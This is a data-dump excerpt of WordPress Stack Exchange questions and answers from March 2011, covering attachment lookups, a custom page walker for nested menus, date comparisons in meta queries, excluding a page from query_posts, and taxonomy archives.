  <row Id="11168" PostTypeId="1" CreationDate="2011-03-04T17:29:16.280" Score="0" ViewCount="137" Body="&lt;p&gt;how do I match an image title from the media library to a variable then echo that image? this is my current code... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; null,&#xA;    ); &#xA;$attachments = get_posts( $args );&#xA;&#xA;if ($attachment-&amp;gt;post_title == $programme) {&#xA;&#xA;    echo the_attachment_link($post-&amp;gt;ID, false);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-05T14:59:28.250" Title="Get attachment if matches a variable" Tags="&lt;posts&gt;&lt;image&gt;&lt;media-library&gt;&lt;variables&gt;" AnswerCount="3" />
  <row Id="11169" PostTypeId="2" ParentId="11168" CreationDate="2011-03-04T17:40:11.800" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$attachments&lt;/code&gt; holds array of posts, you are missing something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachment = $attachments[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $attachments as $attachment )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nope, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $attachments as $attachment )&#xA;    if ($attachment-&amp;gt;post_title == $programme) {&#xA;&#xA;        echo the_attachment_link($post-&amp;gt;ID, false);&#xA;        break;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-04T18:17:09.833" LastActivityDate="2011-03-04T18:17:09.833" CommentCount="1" />
  <row Id="11170" PostTypeId="2" ParentId="8887" CreationDate="2011-03-04T17:48:19.597" Score="1" ViewCount="" Body="&lt;p&gt;The entire authentication system is pluggable. I suggest looking at existing plugins to get an idea how to override the system. Perhaps by looking at some &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=ldap&quot; rel=&quot;nofollow&quot;&gt;LDAP plugins&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-04T17:48:19.597" CommentCount="2" />
  <row Id="11171" PostTypeId="1" AcceptedAnswerId="11178" CreationDate="2011-03-04T17:54:24.493" Score="0" ViewCount="368" Body="&lt;p&gt;This question is following on from a question I &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11054/break-apart-wp-list-pages-in-order-to-customise-it&quot;&gt;posted previously&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, the html code that I'm trying to output is the same as the previous question - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11054/break-apart-wp-list-pages-in-order-to-customise-it&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current outputted html is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;  &#xA;        &amp;lt;ul id=&quot;drop-nav&quot;&amp;gt;          &#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&#xA;            &amp;lt;div class=&quot;subnav&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;subnavTop&quot;&amp;gt;&#xA;                        &amp;lt;ul class=&quot;subnavContent&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;                                &amp;lt;dl&amp;gt;&#xA;                                    &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Child of About&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;!-- Child Item | Depth = 1 --&amp;gt;&#xA;                                    &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Grandchild of About&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;!-- GrandChild Item | Depth = 2 --&amp;gt;&#xA;                                &amp;lt;/dl&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Talk to us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&amp;lt;br style=&quot;clear: left&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm using in header.php to generate the html/menu items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;  &#xA;    &amp;lt;ul id=&quot;drop-nav&quot;&amp;gt;  &#xA;    &amp;lt;?php&#xA;    // Query the database for all top-level page IDs, and store them in the $menuPages array under the [ID] sub-array&#xA;    $menuPages = $wpdb-&amp;gt;get_results(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_parent=0 AND post_type='page' AND post_status='publish' ORDER BY menu_order ASC&quot;);&#xA;&#xA;    // For each element in the $menuPages array, get the value from the [ID]-subarray to create the top-level menu and it's children&#xA;    foreach($menuPages as $menuItem){&#xA;        $menuItemTitle = get_the_title($menuItem-&amp;gt;ID);          &#xA;        $menuItemClass = strtolower(trim($menuItemTitle));                  &#xA;        $menuItemClass = preg_replace('/[^a-z0-9-]/', '-', $menuItemClass);&#xA;        $menuItemClass = preg_replace('/-+/', &quot;-&quot;, $menuItemClass);             &#xA;        $menuItemPermalink = get_permalink($menuItem-&amp;gt;ID);&#xA;            if (isset($menuItemTitle) &amp;amp;&amp;amp; $menuItemTitle != 'Home'){                 &#xA;                _e('&amp;lt;li class=&quot;'.$menuItemClass.'&quot;&amp;gt;'.PHP_EOL);&#xA;                _e('&amp;lt;a href=&quot;'.$menuItemPermalink.'&quot;&amp;gt;'.$menuItemTitle.'&amp;lt;/a&amp;gt;'.PHP_EOL);&#xA;&#xA;            // Run wp_list_pages to fetch any children, and put the HTML &amp;lt;LI&amp;gt; list results into $menuItemChildren as a string&#xA;                $menuItemChildren = wp_list_pages('title_li=&amp;amp;echo=0&amp;amp;sort_column=menu_order&amp;amp;child_of='.$menuItem-&amp;gt;ID);                   &#xA;&#xA;                $menuItemChildren = preg_replace('%&amp;lt;li class=&quot;.*&quot;&amp;gt;%U', '', $menuItemChildren);&#xA;                $menuItemChildren = str_replace('&amp;lt;/li&amp;gt;', '', $menuItemChildren);&#xA;                $menuItemChildren = str_replace('&amp;lt;a', '&amp;lt;dd&amp;gt;&amp;lt;a', $menuItemChildren);&#xA;                $menuItemChildren = str_replace('&amp;lt;/a&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;', $menuItemChildren);&#xA;                $menuItemChildren = str_replace('&amp;lt;ul class=\'children\'&amp;gt;', '', $menuItemChildren);&#xA;                $menuItemChildren = str_replace('&amp;lt;/ul&amp;gt;', '', $menuItemChildren);            &#xA;&#xA;            // If results were returned, $menuItemChildren is now a string with HTML in it, so create a drop-down and echo out the HTML&#xA;                if($menuItemChildren){                      &#xA;                    _e('&amp;lt;div class=&quot;subnav&quot;&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;div class=&quot;subnavTop&quot;&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;ul class=&quot;subnavContent&quot;&amp;gt;'.PHP_EOL);       &#xA;                    _e('&amp;lt;li&amp;gt;'.PHP_EOL);&#xA;                    echo '&amp;lt;dl&amp;gt;' .$menuItemChildren. '&amp;lt;/dl&amp;gt;' . PHP_EOL;&#xA;                    _e('&amp;lt;/li&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;/ul&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;/div&amp;gt;'.PHP_EOL);&#xA;                    _e('&amp;lt;/div&amp;gt;'.PHP_EOL);                       &#xA;                }&#xA;                _e('&amp;lt;/li&amp;gt;'.PHP_EOL);            &#xA;            }&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;br style=&quot;clear: left&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this is probably a really bad way of doing this, but it seems to do most of the job ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing outstanding now is changing the child items/subpages on level/depth 1 from &quot;dd's&quot; to &quot;dt's&quot;, leaving any pages below as dd's. I guess I need some code that takes the first item/child and gives it &quot;dt&quot; tags, then everything else &quot;dd&quot; tags, but I can't for the life of me figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense and any help greatly appreciated, S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And I have looked at the Walker class method : ( )&lt;/p&gt;&#xA;" OwnerUserId="3362" LastActivityDate="2011-03-05T17:33:41.623" Title="Select first child/subpage item in wp list pages" Tags="&lt;navigation&gt;" AnswerCount="1" />
  <row Id="11172" PostTypeId="2" ParentId="11168" CreationDate="2011-03-04T17:54:36.380" Score="-1" ViewCount="" Body="&lt;p&gt;Hmm, still no joy, I get nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; null,&#xA;    ); &#xA;$attachments = get_posts( $args );&#xA;&#xA;if ($attachment-&amp;gt;post_title == $programme) {&#xA;    foreach ( $attachments as $attachment ) {&#xA;        echo the_attachment_link($post-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-04T17:54:36.380" CommentCount="1" />
  <row Id="11173" PostTypeId="1" AcceptedAnswerId="11408" CreationDate="2011-03-04T18:41:33.590" Score="6" ViewCount="673" Body="&lt;p&gt;I have a query_posts call in a WP template.  Through the use of the More Fields Plugin I can give the site admin the ability to create an event (custom post type) and then enter a date which is formatted: YYYY/mm/dd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main question is; what value should I pass to the value option in the meta_query array?  I am currently trying to pass &quot;date(&quot;Y/m/d h:i A&quot;)&quot; (minus the quotes), because, as I understand it, that will print the current date today.  I don't care about the time of date so that may be irrelevant.  Ulitimatly I am trying to use the compare option to nail down showing upcoming events, past events in different places on this site.    In one other spot I actually need to pass the value option an array that prints that first and last day of the current month, limiting the output to events happening this month.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;            query_posts( array( &#xA;              'post_type'  =&amp;gt; 'event',        // only query events&#xA;              'meta_key'    =&amp;gt; 'event_date',  // load up the event_date meta&#xA;              'orderby'     =&amp;gt; 'meta_value',  // sort by the event_date&#xA;              'order'       =&amp;gt; 'asc',         // ascending, so earlier events first&#xA;              'posts_per_page' =&amp;gt; '2',&#xA;              'meta_query'  =&amp;gt; array(         // restrict posts based on meta values&#xA;                  'key'     =&amp;gt; 'event_date',  // which meta to query&#xA;                  'value'   =&amp;gt; date(&quot;Y/m/d h:i A&quot;),  // value for comparison&#xA;                  'compare' =&amp;gt; '&amp;gt;=',          // method of comparison&#xA;                  'type'    =&amp;gt; 'DATE'         // datatype, we don't want to compare the string values&#xA;                ) // end meta_query array&#xA;              ) // end array&#xA;            ); // close query_posts call&#xA;                 ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-03-17T16:28:29.030" Title="what is the correct way to compare dates in a WP query_posts meta_query" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;query-posts&gt;&lt;post-meta&gt;&lt;3.1&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="11174" PostTypeId="1" AcceptedAnswerId="11177" CreationDate="2011-03-04T18:51:08.203" Score="0" ViewCount="48" Body="&lt;p&gt;Im putting together a portfolio site and have come across something that i would like to implement, but im unsure of how i can set around doing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically as the site stands now (in development) the user never has (or will have) to access wp-admin to change any of their details, they can do that via a user-profile page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each user has a portfolio/bio page with a comments form at the bottom, what im wanting to do is make it so that any comments left on this bio page are moderated by that pages owner, ie perfect solution would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Bio page owner is notified via email that they have a new comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Bio page owner logs in and goes to user-profile page to review and then accept/decline comment, upon accepting it is then published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any previous experience in this, or know of a working site/plugin that i could take a look at, or just any general advice on what im trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-03-04T19:15:57.410" Title="Users moderate own comments" Tags="&lt;comments&gt;&lt;review&gt;" AnswerCount="1" />
  <row Id="11175" PostTypeId="1" CreationDate="2011-03-04T18:59:44.777" Score="0" ViewCount="57" Body="&lt;p&gt;I just came across that links to reply comments although have javascript built in to stop the page from refreshing, but just move the comment form, but what about search engines in this regard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/permalink-redirect/&quot; rel=&quot;nofollow&quot;&gt;Yoast's permalink redirect plugin&lt;/a&gt; which removes crap at the end of the URL since long but when I open such a link in a new tab, first time the plugin would work and redirect to the correct URL (without &lt;code&gt;?replytocon=3432&lt;/code&gt; appended in the URL) but if I open the same page again, instead of redirection, it was loaded as &lt;code&gt;?replytocon=3432&lt;/code&gt; appended to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-13T02:33:27.560" Title="Comment reply links" Tags="&lt;permalinks&gt;" AnswerCount="0" CommentCount="0" />
  <row Id="11176" PostTypeId="2" ParentId="11054" CreationDate="2011-03-04T19:15:34.873" Score="0" ViewCount="" Body="&lt;p&gt;I cannot test this right now, but i tried writing your walker for you. It doesn't exactly do what you want as the top-levels class/id attributes are hard to modify, but everything below that should be fine (or so i hope).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Walker_Page extends Walker {&#xA;    var $tree_type = 'page';&#xA;&#xA;    var $db_fields = array ('parent' =&amp;gt; 'post_parent', 'id' =&amp;gt; 'ID');&#xA;&#xA;    function start_lvl(&amp;amp;$output, $depth) {&#xA;        $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;        switch ($depth) {&#xA;            case 0:&#xA;                $output .= $indent.&quot;&amp;lt;ul id=\&quot;drop_nav\&quot;&amp;gt;\n&quot;;&#xA;                break;&#xA;            case 1:&#xA;                $output .= &quot;&amp;lt;div class=\&quot;subnav\&quot;&amp;gt;\n&quot;;&#xA;                $output .= &quot;&amp;lt;div class=\&quot;subnavTop\&quot;&amp;gt;\n&quot;;&#xA;                $output .= $indent.&quot;&amp;lt;ul class='subnavContent'&amp;gt;\n&quot;;&#xA;                $output .= &quot;&amp;lt;li&amp;gt;\n&amp;lt;dl&amp;gt;\n&quot;;&#xA;                break;&#xA;            default:&#xA;                break;&#xA;        }&#xA;    }&#xA;&#xA;    function end_lvl(&amp;amp;$output, $depth) {&#xA;        $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;        switch ($depth) {&#xA;            case 0:&#xA;                $output .= &quot;\n&quot;.$indent.&quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;                break;&#xA;            case 1:&#xA;                $output .= &quot;\n&amp;lt;/dl&amp;gt;\n&amp;lt;/li&amp;gt;\n&quot;;&#xA;                $output .= &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;                $output .= &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;                $output .= &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;                break;&#xA;            default:&#xA;                break;&#xA;        }&#xA;    }&#xA;&#xA;    function start_el(&amp;amp;$output, $page, $depth, $args, $current_page) {&#xA;        if ( $depth )&#xA;            $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;        else&#xA;            $indent = '';&#xA;&#xA;        extract($args, EXTR_SKIP);&#xA;        $css_class = array('page_item', 'page-item-'.$page-&amp;gt;ID);&#xA;        if ( !empty($current_page) ) {&#xA;            $_current_page = get_page( $current_page );&#xA;            _get_post_ancestors($_current_page);&#xA;            if ( isset($_current_page-&amp;gt;ancestors) &amp;amp;&amp;amp; in_array($page-&amp;gt;ID, (array) $_current_page-&amp;gt;ancestors) )&#xA;                $css_class[] = 'current_page_ancestor';&#xA;            if ( $page-&amp;gt;ID == $current_page )&#xA;                $css_class[] = 'current_page_item';&#xA;            elseif ( $_current_page &amp;amp;&amp;amp; $page-&amp;gt;ID == $_current_page-&amp;gt;post_parent )&#xA;                $css_class[] = 'current_page_parent';&#xA;        } elseif ( $page-&amp;gt;ID == get_option('page_for_posts') ) {&#xA;            $css_class[] = 'current_page_parent';&#xA;        }&#xA;&#xA;        $css_class = implode(' ', apply_filters('page_css_class', $css_class, $page));&#xA;&#xA;        $page_link = '&amp;lt;a href=&quot;' . get_permalink($page-&amp;gt;ID) . '&quot; title=&quot;' . esc_attr( wp_strip_all_tags( apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) ) ) . '&quot;&amp;gt;' . $link_before . apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) . $link_after . '&amp;lt;/a&amp;gt;';&#xA;        switch ($depth) {&#xA;            case 0:&#xA;                $output .= $indent . '&amp;lt;li class=&quot;' . $css_class . '&quot;&amp;gt;'.$page_link;&#xA;                break;&#xA;            case 1:&#xA;                $output .= $indent . '&amp;lt;dt class=&quot;' . $css_class . '&quot;&amp;gt;'.$page_link;&#xA;                break;&#xA;            default:&#xA;                $output .= $indent . '&amp;lt;dd class=&quot;' . $css_class . '&quot;&amp;gt;'.$page_link;&#xA;                break;&#xA;        }&#xA;&#xA;        if ( !empty($show_date) ) {&#xA;            if ( 'modified' == $show_date )&#xA;                $time = $page-&amp;gt;post_modified;&#xA;            else&#xA;                $time = $page-&amp;gt;post_date;&#xA;&#xA;            $output .= &quot; &quot; . mysql2date($date_format, $time);&#xA;        }&#xA;    }&#xA;&#xA;    function end_el(&amp;amp;$output, $page, $depth) {&#xA;        switch ($depth) {&#xA;            case 0:&#xA;                $output .= &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;                break;&#xA;            case 1:&#xA;                $output .= &quot;&amp;lt;/dt&amp;gt;\n&quot;;&#xA;                break;&#xA;            default:&#xA;                $output .= &quot;&amp;lt;/dd&amp;gt;\n&quot;;&#xA;                break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'title_li' =&amp;gt; '',&#xA;    'sort_column' =&amp;gt; 'menu_order',&#xA;    'walker' =&amp;gt; new My_Walker_Page(),&#xA;);&#xA;wp_list_pages($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-04T19:22:55.787" LastActivityDate="2011-03-04T19:22:55.787" CommentCount="3" />
  <row Id="11177" PostTypeId="2" ParentId="11174" CreationDate="2011-03-04T19:15:57.410" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/role-scoper/&lt;/a&gt;&#xA;This plugin is great for fine tuned control of content.  I have not, however, tried what you are requesting.  So I can only suggest it as something to look into.... I'm not sure if it gives such fine tuned control over comments....&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-04T19:15:57.410" CommentCount="3" />
  <row Id="11178" PostTypeId="2" ParentId="11171" CreationDate="2011-03-04T19:18:03.873" Score="1" ViewCount="" Body="&lt;p&gt;See my Answer to your other question...i think you're better off with a custom walker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should perhaps mention explicitly here that i tried writing a walker for you, so check out the other question to find it.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-05T17:33:41.623" LastActivityDate="2011-03-05T17:33:41.623" CommentCount="1" />
  <row Id="11179" PostTypeId="1" AcceptedAnswerId="11181" CreationDate="2011-03-04T19:20:51.530" Score="0" ViewCount="343" Body="&lt;p&gt;I'm currently running this query to get pages (not posts) from the site section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&quot;post_type=page&amp;amp;post_parent=6&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to remove one page, 271, from this query. Based on &lt;a href=&quot;http://stackoverflow.com/questions/1518589/wordpress-removing-posts-in-the-loop-using-filters&quot;&gt;this stack&lt;/a&gt; I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&quot;p=-271&amp;amp;post_type=page&amp;amp;post_parent=6&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this had the opposite of the intended result, showing only page 271 and not the other pages in the loop. Placing the &lt;em&gt;p=-271&lt;/em&gt; at the end of the query had the same unsuccessful result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reverse this to show all the other pages except page 271?&lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-04T22:09:56.073" Title="WordPress: query pages except remove one page" Tags="&lt;loop&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="11180" PostTypeId="1" CreationDate="2011-03-04T19:22:40.677" Score="0" ViewCount="147" Body="&lt;p&gt;I would like to create a custom archive file combining categories and taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have Categories A and B with Sub A.1, A.2 and B.1, B.2&#xA;I also have a Taxonomy C with items c-1, c-2, c-3 and Tax D with d-1, d-2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So posts of categories A and B will be also sorted by taxonomy C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Post 1 with Cat A and A.1 and Tax c-1 and c-2, d-1&lt;/li&gt;&#xA;&lt;li&gt;Post 2 with Cat B and B.1 and Tax c-1 and c-3, d-2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to create a page archive that will display all the available taxonomies of all the posts in a given subcategory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So mysite.com/a/a.1/ will be a page displaying the following:&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;h1&amp;gt;List of posts of Subcategory a.1&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax C &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;/c/c-1/&quot;&amp;gt;C-1&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-2/&quot;&amp;gt;C-2&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax D &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/d/d-1/&quot;&amp;gt;D-1&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in mysite.com/b/b.1/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax C &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-1/&quot;&amp;gt;C-1&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-3/&quot;&amp;gt;C-3&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax D &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/d/d-2/&quot;&amp;gt;D-2&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of this is just to show those taxonomies that are already assigned to the posts of that category. If I display all the taxonomy elements in each subcategory there would be links pointing to empty listing of posts. In this example I would have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax C &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-1/&quot;&amp;gt;C-1&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-2/&quot;&amp;gt;C-2&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-3/&quot;&amp;gt;C-3&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;h2&amp;gt;Posts Sorted by Tax D &amp;lt;h2&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/d/d-1/&quot;&amp;gt;D-1&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/d/d-2/&quot;&amp;gt;D-2&amp;lt;/a&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And we know that here there are no posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;/d/d-2/&quot;&amp;gt;D-2&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;/c/c-3/&quot;&amp;gt;C-3&amp;lt;/a&amp;gt;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is something similar to this &lt;a href=&quot;http://groups.google.com/group/wp-hackers/msg/e205f0ca8fd5ec60&quot; rel=&quot;nofollow&quot;&gt;http://groups.google.com/group/wp-hackers/msg/e205f0ca8fd5ec60&lt;/a&gt; by &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;http://wordpress.stackexchange.com/users/89/mikeschinkel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with subcategories instead of posts... Something like that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3712" LastEditorUserId="3712" LastEditorDisplayName="" LastEditDate="2011-03-04T19:29:22.463" LastActivityDate="2011-03-04T19:29:22.463" Title="Show all the taxonomies items that have all the post in a given category" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" />
  <row Id="11181" PostTypeId="2" ParentId="11179" CreationDate="2011-03-04T19:26:52.237" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must use exclude the page using &lt;code&gt;post__not_in&lt;/code&gt; paremeter. Rewrite your query using the array parameters &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;'post__not_in'=&amp;gt;array('271'),&#xA;'post_parent'=&amp;gt;6,&#xA;'post_type'=&amp;gt;'page'&#xA;)&#xA; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot; title=&quot;PostQuery&quot;&gt;page&lt;/a&gt; for reference.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-03-04T22:09:56.073" LastActivityDate="2011-03-04T22:09:56.073" CommentCount="3" />
